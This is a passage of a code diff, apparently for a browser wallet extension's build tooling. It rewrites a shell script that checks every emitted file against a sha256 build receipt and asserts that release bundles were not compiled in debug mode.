|
||||||
|
|
||||||
@@ -407,8 +913,13 @@ main() {
|
|||||||
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
||||||
exit 1
|
exit 1
|
||||||
}
|
}
|
||||||
|
[ -x "$DISCARD_DIST" ] || {
|
||||||
|
echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
echo "Testing script/verify-build failure modes..."
|
echo "Testing script/verify-build failure modes..."
|
||||||
|
pick_sha256_tool
|
||||||
probe_permission_runner
|
probe_permission_runner
|
||||||
if [ "$PERM_ENABLED" = yes ]; then
|
if [ "$PERM_ENABLED" = yes ]; then
|
||||||
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
||||||
@@ -426,11 +937,11 @@ main() {
|
|||||||
if [ "$SKIPPED" -ne 0 ]; then
|
if [ "$SKIPPED" -ne 0 ]; then
|
||||||
cat <<EOF
|
cat <<EOF
|
||||||
################################################################################
|
################################################################################
|
||||||
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
|
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
||||||
## PROVE THEM. This process is uid $(id -u), and no runner subject to file
|
## This process is uid $(id -u), and no runner subject to file permissions was
|
||||||
## permissions was available. Tried: $PERM_HOW.
|
## available. Tried: $PERM_HOW.
|
||||||
## Under root, chmod 000 stops neither find nor grep, so these cases would
|
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
||||||
## have passed without testing anything. They were skipped, not counted:
|
## would have passed without testing anything. They were skipped, not counted:
|
||||||
$SKIPPED_NAMES################################################################################
|
$SKIPPED_NAMES################################################################################
|
||||||
EOF
|
EOF
|
||||||
echo "test-verify-build: $PASSED case(s) passed," \
|
echo "test-verify-build: $PASSED case(s) passed," \
|
||||||
|
|||||||
@@ -1,45 +1,97 @@
|
|||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
# script/verify-build: assert the compiled DEBUG state of the emitted
|
# script/verify-build: assert that the regular files and symlinks under dist/
|
||||||
# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
|
# are exactly what the build that just ran emitted (other file types are out of
|
||||||
# make build / make build-debug.
|
# scope; see "What that does and does not establish" below), and that the
|
||||||
|
# compiled DEBUG state of that output is the one the caller asked for. Our own
|
||||||
|
# extension to scripts-to-rule-them-all, run at the end of make build /
|
||||||
|
# make build-debug.
|
||||||
#
|
#
|
||||||
# Why this exists: DEBUG makes the publicly committed test recovery phrase the
|
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
|
||||||
# output of wallet creation, so a release artifact built with it live hands
|
# phrase the output of wallet creation, so a release artifact built with it live
|
||||||
# every new wallet to anyone who reads the repo. The test suite cannot see
|
# hands every new wallet to anyone who reads the repo. The test suite cannot see
|
||||||
# this, because it loads src/shared/constants.js outside a bundle and takes
|
# this, because it loads src/shared/constants.js outside a bundle and takes the
|
||||||
# the fallback branch; the property only exists in the emitted output, so it
|
# fallback branch; the property only exists in the emitted output, so it has to
|
||||||
# has to be asserted against the emitted output.
|
# be asserted against the emitted output.
|
||||||
#
|
#
|
||||||
# What it reads: dist/constants-bundles.txt, written by build.js from
|
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
|
||||||
# esbuild's metafile, naming every emitted bundle that contains
|
# taken from this script's environment. It used to be read from
|
||||||
# src/shared/constants.js. Each of those must carry exactly one of the two
|
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
|
||||||
# BUILD_DEBUG_MARKER literals that constants.js folds down to.
|
# exported in their shell could run the release target, get a debug build, and
|
||||||
|
# have it verified green and exit 0. There is also no default: a caller that
|
||||||
|
# does not say what it built gets a failure, because "no opinion" is not a
|
||||||
|
# state this can check anything against.
|
||||||
#
|
#
|
||||||
# It fails rather than passes whenever it cannot determine a bundle's state.
|
# Why the provenance half exists: on its own, a marker grep proves nothing
|
||||||
# Minified output is not a stable contract, so "matched neither form" is not
|
# about where the bytes came from. A 26-byte file containing only the marker
|
||||||
# evidence of anything and must never read as green.
|
# string used to verify ok; the content script and manifest.json were not read
|
||||||
|
# at all; an entire hand-written dist/ passed. The list of files to check has
|
||||||
|
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
|
||||||
|
# emitted, with each file's sha256 and whether it is one of the bundles
|
||||||
|
# containing src/shared/constants.js, and the Makefile creates that receipt
|
||||||
|
# path fresh per invocation, outside the repo, and deletes it afterwards.
|
||||||
|
#
|
||||||
|
# What that does and does not establish. It establishes that dist/ is byte for
|
||||||
|
# byte the output of the build.js run that just finished, with no regular file
|
||||||
|
# or symlink added, missing or altered in between, and that the audited bundles
|
||||||
|
# in it compiled to the requested mode. Regular files and symlinks are the whole
|
||||||
|
# of what the tree walk covers; fifos, sockets, device nodes and empty
|
||||||
|
# directories under dist/ are not checked, because a build emits none of them,
|
||||||
|
# none can carry a shippable payload, and grep on a fifo would hang rather than
|
||||||
|
# fail. It does NOT establish that the source tree or build.js were honest, and
|
||||||
|
# it says nothing at all to someone handed a dist/ from elsewhere: without the
|
||||||
|
# receipt from its own build they have no input to this check. That is signing,
|
||||||
|
# and it is not this control.
|
||||||
|
#
|
||||||
|
# It fails rather than passes whenever it cannot determine something. Minified
|
||||||
|
# output is not a stable contract, so "matched neither marker" is not evidence
|
||||||
|
# of anything and must never read as green; the same discipline applies to
|
||||||
|
# every read here, which is why a grep or a digest that could not be taken is
|
||||||
|
# a hard failure and not an absence of a problem.
|
||||||
set -eu
|
set -eu
|
||||||
|
|
||||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||||
|
|
||||||
# Absolute path to this script, resolved before anything cd's anywhere.
|
# Absolute path to this script, resolved before anything cd's anywhere.
|
||||||
# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
|
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
|
||||||
# relative to a directory we are about to leave.
|
# relative to a directory we are about to leave.
|
||||||
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
||||||
|
|
||||||
# Internal re-entry flag; see scan_dist_paths.
|
# Internal re-entry flag; see scan_dist_paths.
|
||||||
SCAN_FLAG="--scan-dist-paths"
|
SCAN_FLAG="--scan-dist-paths"
|
||||||
|
|
||||||
# A literal newline, for the is_listed guard.
|
# A literal newline and tab, for the receipt-shape guards.
|
||||||
NEWLINE='
|
NEWLINE='
|
||||||
'
|
'
|
||||||
|
TAB=' '
|
||||||
|
|
||||||
MANIFEST="dist/constants-bundles.txt"
|
|
||||||
MARKER_ON="autistmask-build-debug=on"
|
MARKER_ON="autistmask-build-debug=on"
|
||||||
MARKER_OFF="autistmask-build-debug=off"
|
MARKER_OFF="autistmask-build-debug=off"
|
||||||
|
|
||||||
# Set by read_marker.
|
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||||
|
|
||||||
|
# Set by the arguments.
|
||||||
|
RECEIPT=""
|
||||||
|
EXPECT=""
|
||||||
|
|
||||||
|
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
|
||||||
|
# receipt line number the diagnostics quote.
|
||||||
MARKER=""
|
MARKER=""
|
||||||
|
SHA=""
|
||||||
|
ENTRY_HASH=""
|
||||||
|
ENTRY_FLAG=""
|
||||||
|
ENTRY_PATH=""
|
||||||
|
LINENO_R=0
|
||||||
|
|
||||||
|
# The sha256 command, chosen by pick_sha256.
|
||||||
|
SHA256=""
|
||||||
|
|
||||||
|
# Totals: the shape pass counts what the receipt claims, the entries pass
|
||||||
|
# counts what was actually checked against dist/, and the summary reports the
|
||||||
|
# latter.
|
||||||
|
SHAPE_COUNT=0
|
||||||
|
SHAPE_AUDITED=0
|
||||||
|
COUNT=0
|
||||||
|
AUDITED=0
|
||||||
|
|
||||||
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
|
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
|
||||||
# trap because fail() exits from wherever it is called.
|
# trap because fail() exits from wherever it is called.
|
||||||
@@ -50,11 +102,17 @@ fail() {
|
|||||||
exit 1
|
exit 1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
usage() {
|
||||||
|
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
|
||||||
|
}
|
||||||
|
|
||||||
cleanup() {
|
cleanup() {
|
||||||
[ -z "$LISTING" ] || rm -f "$LISTING"
|
[ -z "$LISTING" ] || rm -f "$LISTING"
|
||||||
}
|
}
|
||||||
trap cleanup EXIT
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
# --- reading files ----------------------------------------------------------
|
||||||
|
|
||||||
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
|
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
|
||||||
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
|
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
|
||||||
# file could not be read) is not an answer at all, and must not be reported as
|
# file could not be read) is not an answer at all, and must not be reported as
|
||||||
@@ -74,34 +132,46 @@ has_marker() {
|
|||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
# Does the manifest list the path $1, as a whole line? Same discipline as
|
# Pick the sha256 command once. All three print the digest as the first
|
||||||
# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
|
# whitespace-delimited field. If none is present the digests cannot be taken at
|
||||||
# manifest could not be read and is not an answer at all. Without this, an
|
# all, and this script has nothing left to check with, so it fails rather than
|
||||||
# unreadable manifest reads as "this file is not listed" and every emitted
|
# degrading to the marker grep it used to be.
|
||||||
# bundle gets reported as an unlisted one.
|
pick_sha256() {
|
||||||
#
|
if command -v sha256sum >/dev/null 2>&1; then
|
||||||
# A path containing a newline is answered without asking grep, because grep
|
SHA256="sha256sum"
|
||||||
# would read the pattern as two patterns and report a match on either. That is
|
elif command -v shasum >/dev/null 2>&1; then
|
||||||
# how such a path escaped this check even once the walk stopped splitting it:
|
SHA256="shasum -a 256"
|
||||||
# the half before the newline matched a listed line and the file was skipped.
|
elif command -v openssl >/dev/null 2>&1; then
|
||||||
# The manifest is line-delimited, so it cannot name such a path at all, and
|
SHA256="openssl dgst -sha256 -r"
|
||||||
# "not listed" is the only true answer.
|
else
|
||||||
is_listed() {
|
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
|
||||||
case "$1" in
|
the emitted files cannot be checked against the build receipt at all.
|
||||||
*"$NEWLINE"*) return 1 ;;
|
Refusing to report success."
|
||||||
esac
|
fi
|
||||||
_il_status=0
|
}
|
||||||
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
|
|
||||||
case "$_il_status" in
|
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
|
||||||
0) return 0 ;;
|
# not a pass: it means the artifact was never read.
|
||||||
1) return 1 ;;
|
read_sha256() {
|
||||||
*)
|
_rs_status=0
|
||||||
fail "grep exited $_il_status reading $MANIFEST, so it could not be
|
# Word-split on purpose: SHA256 is a command with its arguments.
|
||||||
searched and nothing was established about which bundles it lists. That is
|
# shellcheck disable=SC2086
|
||||||
a permissions or I/O fault on the manifest, not a stale manifest. Refusing
|
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
|
||||||
to report success."
|
[ "$_rs_status" -eq 0 ] ||
|
||||||
|
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
|
||||||
|
and nothing was established about them. That is a permissions or I/O fault
|
||||||
|
on the artifact, not a mismatch. Refusing to report success."
|
||||||
|
|
||||||
|
SHA="${_rs_out%% *}"
|
||||||
|
case "$SHA" in
|
||||||
|
"" | *[!0-9a-f]*)
|
||||||
|
fail "$SHA256 produced no usable digest for $1, so its bytes were never
|
||||||
|
checked. Refusing to report success."
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
[ "${#SHA}" -eq 64 ] ||
|
||||||
|
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
|
||||||
|
a sha256. Refusing to report success."
|
||||||
}
|
}
|
||||||
|
|
||||||
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
|
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
|
||||||
@@ -140,48 +210,199 @@ read_marker() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# The manifest says which bundles must carry a marker. This says no other
|
# --- the receipt ------------------------------------------------------------
|
||||||
# emitted file may carry one, which catches a manifest that has gone stale
|
|
||||||
# or short rather than trusting whatever it happens to list.
|
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
|
||||||
|
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
|
||||||
|
# remainder of the line, so a path carrying a space or a tab would be read back
|
||||||
|
# as something other than what was written; build.js refuses to emit such a
|
||||||
|
# name, and a receipt that contains one is malformed rather than describing a
|
||||||
|
# file. Every rejection here is a failure: a line that cannot be understood is
|
||||||
|
# a file that would otherwise go unchecked.
|
||||||
|
parse_file_line() {
|
||||||
|
case "$1" in
|
||||||
|
"file "*) ;;
|
||||||
|
*)
|
||||||
|
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
|
||||||
|
not know what it means: ${1}. Refusing to report success."
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
_pl="${1#file }"
|
||||||
|
ENTRY_HASH="${_pl%% *}"
|
||||||
|
_pl="${_pl#* }"
|
||||||
|
ENTRY_FLAG="${_pl%% *}"
|
||||||
|
ENTRY_PATH="${_pl#* }"
|
||||||
|
|
||||||
|
case "$ENTRY_HASH" in
|
||||||
|
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
|
||||||
|
esac
|
||||||
|
[ "${#ENTRY_HASH}" -eq 64 ] ||
|
||||||
|
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
|
||||||
|
which is not a sha256: $1"
|
||||||
|
|
||||||
|
case "$ENTRY_FLAG" in
|
||||||
|
A | P) ;;
|
||||||
|
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
case "$ENTRY_PATH" in
|
||||||
|
dist/*) ;;
|
||||||
|
*)
|
||||||
|
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
|
||||||
|
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
case "$ENTRY_PATH" in
|
||||||
|
*" "* | *"$TAB"* | *"$NEWLINE"*)
|
||||||
|
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
|
||||||
|
cannot be read back unambiguously from a line-oriented receipt: $1"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check one emitted file against its receipt entry: it must be a regular file
|
||||||
|
# with exactly the recorded bytes, and its debug marker must match what the
|
||||||
|
# caller said this build was.
|
||||||
|
check_entry() {
|
||||||
|
[ ! -h "$ENTRY_PATH" ] ||
|
||||||
|
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
|
||||||
|
build emits regular files only, so this is not the file it wrote. Refusing
|
||||||
|
to report success."
|
||||||
|
[ -f "$ENTRY_PATH" ] ||
|
||||||
|
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
|
||||||
|
not hold what the build emitted."
|
||||||
|
[ -s "$ENTRY_PATH" ] ||
|
||||||
|
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
|
||||||
|
carries no marker and matches no digest, so this is a failure and not a
|
||||||
|
pass."
|
||||||
|
|
||||||
|
read_sha256 "$ENTRY_PATH"
|
||||||
|
[ "$SHA" = "$ENTRY_HASH" ] ||
|
||||||
|
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
|
||||||
|
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
|
||||||
|
to dist/ after the build, so this artifact is not the one that was built."
|
||||||
|
|
||||||
|
if [ "$ENTRY_FLAG" = A ]; then
|
||||||
|
read_marker "$ENTRY_PATH"
|
||||||
|
[ "$MARKER" = "$EXPECT" ] ||
|
||||||
|
fail "$ENTRY_PATH is $MARKER but this build was told to expect
|
||||||
|
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
|
||||||
|
build, that is why: the flag still reaches the compiler, and this is the
|
||||||
|
check that stops the debug artifact being taken for a release one."
|
||||||
|
echo " ok: $ENTRY_PATH ($MARKER)"
|
||||||
|
AUDITED=$((AUDITED + 1))
|
||||||
|
else
|
||||||
|
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
|
||||||
|
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
|
||||||
|
fail "$ENTRY_PATH carries a debug marker but the build did not
|
||||||
|
record it as containing src/shared/constants.js. build.js selects audited
|
||||||
|
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
|
||||||
|
set means the test no longer describes what is emitted, and the DEBUG state
|
||||||
|
of this file was never asserted against anything."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
COUNT=$((COUNT + 1))
|
||||||
|
}
|
||||||
|
|
||||||
|
# Walk the receipt line by line, applying $1 to each file entry. The header and
|
||||||
|
# the root line are checked on the way past; the root line is what stops a
|
||||||
|
# receipt written by a build of some other tree being pointed at this one.
|
||||||
|
walk_receipt() {
|
||||||
|
_wr_each="$1"
|
||||||
|
LINENO_R=0
|
||||||
|
_line=""
|
||||||
|
while IFS= read -r _line || [ -n "$_line" ]; do
|
||||||
|
LINENO_R=$((LINENO_R + 1))
|
||||||
|
if [ "$LINENO_R" -eq 1 ]; then
|
||||||
|
[ "$_line" = "$RECEIPT_HEADER" ] ||
|
||||||
|
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
|
||||||
|
is not a build receipt this script understands. Refusing to report
|
||||||
|
success."
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
if [ "$LINENO_R" -eq 2 ]; then
|
||||||
|
[ "$_line" = "root $ROOT" ] ||
|
||||||
|
fail "$RECEIPT was written by a build of a different tree: it
|
||||||
|
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
|
||||||
|
the tree it was built in."
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
parse_file_line "$_line"
|
||||||
|
"$_wr_each"
|
||||||
|
done <"$RECEIPT"
|
||||||
|
|
||||||
|
[ "$LINENO_R" -ge 2 ] ||
|
||||||
|
fail "$RECEIPT is truncated: it has no root line, so it is not a
|
||||||
|
receipt this script can check anything against."
|
||||||
|
}
|
||||||
|
|
||||||
|
# Pass one: the receipt has to be a receipt before anything is concluded from
|
||||||
|
# it. A line this script cannot read is a file that would go unchecked, and a
|
||||||
|
# receipt naming no audited bundle asserts no DEBUG state at all — both are
|
||||||
|
# failures, and both have to be established before the tree is walked against
|
||||||
|
# it, because a receipt entry that was misread would otherwise surface as a
|
||||||
|
# complaint about dist/.
|
||||||
|
count_entry() {
|
||||||
|
SHAPE_COUNT=$((SHAPE_COUNT + 1))
|
||||||
|
if [ "$ENTRY_FLAG" = A ]; then
|
||||||
|
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_receipt_shape() {
|
||||||
|
SHAPE_COUNT=0
|
||||||
|
SHAPE_AUDITED=0
|
||||||
|
walk_receipt count_entry
|
||||||
|
|
||||||
|
[ "$SHAPE_COUNT" -gt 0 ] ||
|
||||||
|
fail "$RECEIPT names no emitted files, so nothing was inspected. A
|
||||||
|
build always emits some."
|
||||||
|
[ "$SHAPE_AUDITED" -gt 0 ] ||
|
||||||
|
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
|
||||||
|
no DEBUG state would be asserted at all. That is never correct, so it is a
|
||||||
|
failure and not a pass."
|
||||||
|
}
|
||||||
|
|
||||||
|
# Pass three: every file the receipt names, checked against the bytes on disk.
|
||||||
|
check_receipt_entries() {
|
||||||
|
walk_receipt check_entry
|
||||||
|
}
|
||||||
|
|
||||||
|
# --- the emitted tree -------------------------------------------------------
|
||||||
|
|
||||||
|
# The receipt says which files the build emitted. This says dist/ contains no
|
||||||
|
# others: an artifact that was added after the build, or that a hand-written
|
||||||
|
# dist/ brought with it, is not something the build vouches for and is not
|
||||||
|
# something this check may pass over.
|
||||||
#
|
#
|
||||||
# Deliberately unfiltered by extension. build.js selects manifest entries with
|
# The walk has to be exhaustive and every name has to survive it intact, so
|
||||||
# an endsWith(".js") test; repeating that literal here would mean a bundle
|
# four things are enforced rather than assumed:
|
||||||
# emitted under some other extension escaped the manifest AND this check at
|
|
||||||
# once, which is the correlated blind spot the two-source design exists to
|
|
||||||
# avoid. Every regular file and every symlink under dist/ is searched — that
|
|
||||||
# is the whole of what a build emits — so build.js's filter is the only place
|
|
||||||
# the assumption lives and this check is what catches it being wrong.
|
|
||||||
#
|
|
||||||
# That claim only holds if the walk is exhaustive and every name survives it
|
|
||||||
# intact, so four things are enforced here rather than assumed:
|
|
||||||
#
|
#
|
||||||
# - the walk is NUL-delimited and the paths reach the check as arguments, so
|
# - the walk is NUL-delimited and the paths reach the check as arguments, so
|
||||||
# no name can be reshaped on the way in. Read line by line, a name with a
|
# no name can be reshaped on the way in. Read line by line, a name with a
|
||||||
# trailing space lost it to read's field splitting and the remnant then
|
# trailing space lost it to read's field splitting and the remnant then
|
||||||
# matched a manifest line, and a name containing a newline arrived as a
|
# matched a listed path, and a name containing a newline arrived as a
|
||||||
# listed path plus an empty one. Both left a marker-carrying, unlisted file
|
# listed path plus an empty one. Both left an unchecked file in dist/ while
|
||||||
# unchecked while the script still reported success. Delivering such a name
|
# the script still reported success.
|
||||||
# intact is only half of it; is_listed also has to keep it out of grep's
|
|
||||||
# pattern, for the same reason.
|
|
||||||
# - find's exit status is checked. A subtree it cannot descend is reported on
|
# - find's exit status is checked. A subtree it cannot descend is reported on
|
||||||
# stderr and then simply missing from the listing, so an unchecked status
|
# stderr and then simply missing from the listing, so an unchecked status
|
||||||
# turns "could not look" into "nothing was there" — the same conflation
|
# turns "could not look" into "nothing was there" — the same conflation
|
||||||
# has_marker exists to prevent. The status cannot be read off a pipeline,
|
# has_marker exists to prevent. The status cannot be read off a pipeline,
|
||||||
# so the listing lands in a file that xargs then reads back.
|
# so the listing lands in a file that xargs then reads back.
|
||||||
# - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
|
# - symlinks are walked too (-type l), not skipped. The build emits none, so
|
||||||
# reachable under an unlisted path in dist/ is a stale manifest whether the
|
# a symlink under dist/ is a path the build did not produce, whatever it
|
||||||
# path is a link or a file, and grep reads through the link. A link that
|
# points at, and it fails as one instead of being read through.
|
||||||
# cannot be read through — dangling, or pointing at a directory — fails
|
|
||||||
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
|
|
||||||
# build emits neither, so their DEBUG state is unproven, not fine.
|
|
||||||
# - dist/ itself must be a directory and not a symlink, which main asserts
|
# - dist/ itself must be a directory and not a symlink, which main asserts
|
||||||
# before anything reads through it. find does not follow a symlink named on
|
# before anything reads through it. find does not follow a symlink named on
|
||||||
# its own command line, so a linked dist/ collapses this walk to one entry
|
# its own command line, so a linked dist/ collapses this walk to one entry
|
||||||
# and cross-checks nothing.
|
# and cross-checks nothing.
|
||||||
#
|
#
|
||||||
# Types other than regular files and symlinks are left out on purpose: a build
|
# Types other than regular files and symlinks — fifos, sockets, device nodes and
|
||||||
# emits none of them, and grep on a fifo would hang rather than fail.
|
# empty directories — are left out on purpose, and the guarantee is bounded to
|
||||||
check_unlisted_bundles() {
|
# what is walked: a build emits none of them, none can carry a shippable
|
||||||
|
# payload, and grep on a fifo would hang rather than fail.
|
||||||
|
check_dist_tree() {
|
||||||
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
|
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
|
||||||
fail "could not create a temporary file for the dist/ listing, so the
|
fail "could not create a temporary file for the dist/ listing, so the
|
||||||
tree was never walked. Refusing to report success."
|
tree was never walked. Refusing to report success."
|
||||||
@@ -191,105 +412,196 @@ check_unlisted_bundles() {
|
|||||||
[ "$_find_status" -eq 0 ] ||
|
[ "$_find_status" -eq 0 ] ||
|
||||||
fail "find exited $_find_status enumerating dist/, so part of the tree
|
fail "find exited $_find_status enumerating dist/, so part of the tree
|
||||||
was never walked and nothing was established about the files in it. Any
|
was never walked and nothing was established about the files in it. Any
|
||||||
unlisted bundle there went unchecked. That is a permissions or I/O fault on
|
file the build did not emit could be sitting there unchecked. That is a
|
||||||
the artifact, not a stale manifest. Refusing to report success."
|
permissions or I/O fault on the artifact. Refusing to report success."
|
||||||
|
|
||||||
_scan_status=0
|
_scan_status=0
|
||||||
xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
|
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
|
||||||
[ "$_scan_status" -eq 0 ] ||
|
[ "$_scan_status" -eq 0 ] ||
|
||||||
fail "the unlisted-bundle scan exited $_scan_status: either a path
|
fail "the dist/ tree scan exited $_scan_status: either a path under
|
||||||
under dist/ failed the check reported above, or the scan could not be run
|
dist/ failed the check reported above, or the scan could not be run at all.
|
||||||
at all. Refusing to report success."
|
Refusing to report success."
|
||||||
}
|
}
|
||||||
|
|
||||||
# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
|
# Does the receipt name the path $1? Compared as whole strings, never through
|
||||||
# this script, so it uses the same is_listed and has_marker as the rest of the
|
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
|
||||||
# file rather than a second copy of them that could drift. Paths arrive as
|
# the place to put one. The receipt's own paths are known to carry no
|
||||||
# arguments and are never split, joined or trimmed.
|
# whitespace by the time this runs — verify_receipt failed the run otherwise —
|
||||||
|
# so stripping the three leading fields recovers each one exactly.
|
||||||
|
receipt_names() {
|
||||||
|
_rn_want="$1"
|
||||||
|
_rn_line=""
|
||||||
|
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
|
||||||
|
case "$_rn_line" in
|
||||||
|
"file "*) ;;
|
||||||
|
*) continue ;;
|
||||||
|
esac
|
||||||
|
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
|
||||||
|
done <"$RECEIPT"
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# The per-path half of check_dist_tree. It runs in a re-invocation of this
|
||||||
|
# script, so it uses the same helpers as the rest of the file rather than a
|
||||||
|
# second copy of them that could drift. Paths arrive as arguments and are never
|
||||||
|
# split, joined or trimmed.
|
||||||
scan_dist_paths() {
|
scan_dist_paths() {
|
||||||
for _file in "$@"; do
|
for _file in "$@"; do
|
||||||
if is_listed "$_file"; then
|
if [ -h "$_file" ]; then
|
||||||
|
fail "$_file is a symlink under dist/. The build emits regular
|
||||||
|
files only, so this path is not something it produced, and what it points
|
||||||
|
at is not what was verified. Refusing to report success."
|
||||||
|
fi
|
||||||
|
if receipt_names "$_file"; then
|
||||||
continue
|
continue
|
||||||
fi
|
fi
|
||||||
if has_marker "$MARKER_ON" "$_file" ||
|
fail "$_file is under dist/ but the build that just ran did not emit
|
||||||
has_marker "$MARKER_OFF" "$_file"; then
|
it. dist/ must contain exactly what the build produced: an extra file there
|
||||||
fail "$_file carries a debug marker but is absent from $MANIFEST,
|
is an artifact nothing vouches for, and shipping the directory ships it."
|
||||||
so the manifest no longer describes the emitted bundles."
|
|
||||||
fi
|
|
||||||
done
|
done
|
||||||
}
|
}
|
||||||
|
|
||||||
# The requested mode, read from our own environment using build.js's exact
|
# --- arguments --------------------------------------------------------------
|
||||||
# rule: only the literal 1 opts in. Deliberately not taken from anything
|
|
||||||
# build.js records about itself, so build.js cannot vouch for build.js.
|
# The expected mode and the receipt are stated by the caller. Nothing is read
|
||||||
expected_marker() {
|
# from the environment, and there is no default for either.
|
||||||
if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
|
parse_args() {
|
||||||
echo "$MARKER_ON"
|
while [ "$#" -gt 0 ]; do
|
||||||
else
|
case "$1" in
|
||||||
echo "$MARKER_OFF"
|
--expect)
|
||||||
fi
|
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
|
||||||
|
set_expect "$2"
|
||||||
|
shift 2
|
||||||
|
;;
|
||||||
|
--expect=*)
|
||||||
|
set_expect "${1#--expect=}"
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
--receipt)
|
||||||
|
[ "$#" -ge 2 ] || fail "--receipt needs a path."
|
||||||
|
set_receipt "$2"
|
||||||
|
shift 2
|
||||||
|
;;
|
||||||
|
--receipt=*)
|
||||||
|
set_receipt "${1#--receipt=}"
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
usage
|
||||||
|
fail "unknown argument: $1"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
}
|
}
|
||||||
|
|
||||||
main() {
|
set_expect() {
|
||||||
cd "$ROOT"
|
[ -z "$EXPECT" ] || fail "--expect given more than once."
|
||||||
|
case "$1" in
|
||||||
|
release) EXPECT="$MARKER_OFF" ;;
|
||||||
|
debug) EXPECT="$MARKER_ON" ;;
|
||||||
|
*) fail "--expect takes release or debug, not \"$1\"." ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
|
set_receipt() {
|
||||||
|
